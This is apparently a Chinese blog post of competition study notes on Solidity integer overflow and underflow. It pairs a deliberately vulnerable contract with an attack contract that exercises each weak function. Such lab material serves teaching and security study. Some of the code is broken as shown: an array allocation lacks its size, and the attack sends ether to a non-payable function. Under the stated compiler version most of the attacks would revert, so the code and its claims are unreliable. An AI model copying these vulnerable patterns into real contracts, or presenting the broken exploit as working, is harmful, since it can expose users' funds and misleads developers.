Allureluoli 二月FEBRUARY

区块链国赛笔记 20|合约安全实验:算术溢出与下溢

这组示例用来观察整数边界和 unchecked 的行为,阅读时必须先看编译器版本以及具体运算所在的位置。

本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。

阅读前先确认

Solidity 0.8+ 普通算术默认检查溢出;不能因为函数名写了 Vulnerable 就认为一定可利用。应为实际触发路径补充回滚或数值变化断言。

溢出漏洞

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/**
* 存在算术溢出/下溢漏洞的合约
* 在Solidity 0.8.0之前,这类漏洞很常见
* 0.8.0之后编译器默认检查,但可通过unchecked绕过
*/
contract ArithmeticVulnerabilities {
uint8 public counter = 0;
uint256 public balance;

// 存款函数
function deposit(uint256 amount) external {
balance += amount;
}

// 存在下溢漏洞的提现函数
function withdraw(uint256 amount) external {
// 可能发生下溢:如果amount > balance
balance -= amount;
payable(msg.sender).transfer(amount);
}

// 存在溢出漏洞的计数器
function increment() external {
// uint8最大值为255,加到256会溢出为0
counter++;
}

function decrement() external {
// uint8最小值为0,减到-1会下溢为255
counter--;
}

// 批量转账 - 存在溢出漏洞
function batchTransfer(address[] calldata recipients, uint256 amount) external {
uint256 total = recipients.length * amount;
require(balance >= total, "Insufficient balance");

balance -= total;
for (uint i = 0; i < recipients.length; i++) {
payable(recipients[i]).transfer(amount);
}
}

// 获取合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}

// 接收以太币
receive() external payable {
balance += msg.value;
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IArithmeticVulnerabilities {
function withdraw(uint256 amount) external;
function increment() external;
function decrement() external;
function batchTransfer(address[] calldata recipients, uint256 amount) external;
function deposit(uint256 amount) external;
function getBalance() external view returns (uint256);
}

contract ArithmeticAttack {
IArithmeticVulnerabilities public target;

constructor(address _target) {
target = IArithmeticVulnerabilities(_target);
}

// 测试下溢攻击
function testUnderflowAttack() external {
// 先存一点钱
target.deposit{value: 0.1 ether}(0.1 ether);

// 尝试提取超过余额的金额,在0.8.0之前会导致下溢
// 在0.8.0+会自动revert,但我们可以用unchecked测试
target.withdraw(1 ether);
}

// 测试计数器溢出
function testCounterOverflow() external {
// 将计数器增加到最大值
for (uint i = 0; i < 255; i++) {
target.increment();
}
// 下一次增加将导致溢出
target.increment();
}

// 测试计数器下溢
function testCounterUnderflow() external {
// 将计数器减少到0以下
target.decrement();
}

// 测试批量转账溢出
function testBatchTransferOverflow() external {
// 创建大量接收者
address[] memory recipients = new address;
for (uint i = 0; i < 1000; i++) {
recipients[i] = address(this);
}

// 使用极大的金额,使length * amount溢出
uint256 hugeAmount = type(uint256).max / 500; // 确保乘法会溢出

target.batchTransfer(recipients, hugeAmount);
}

// 使用unchecked手动测试溢出/下溢
function manualUncheckedTest() external pure returns (uint8, uint8) {
uint8 max = type(uint8).max; // 255
uint8 min = type(uint8).min; // 0

uint8 overflowResult;
uint8 underflowResult;

// 手动触发溢出
unchecked {
overflowResult = max + 1; // 应该变成0
underflowResult = min - 1; // 应该变成255
}

return (overflowResult, underflowResult);
}

// 接收以太币
receive() external payable {}
}

复现时的自查

  • 记录自己实际使用的版本、配置和缺失依赖。
  • 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
  • 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。

返回系列导读 · 上一篇 · 下一篇

评论COMMENTS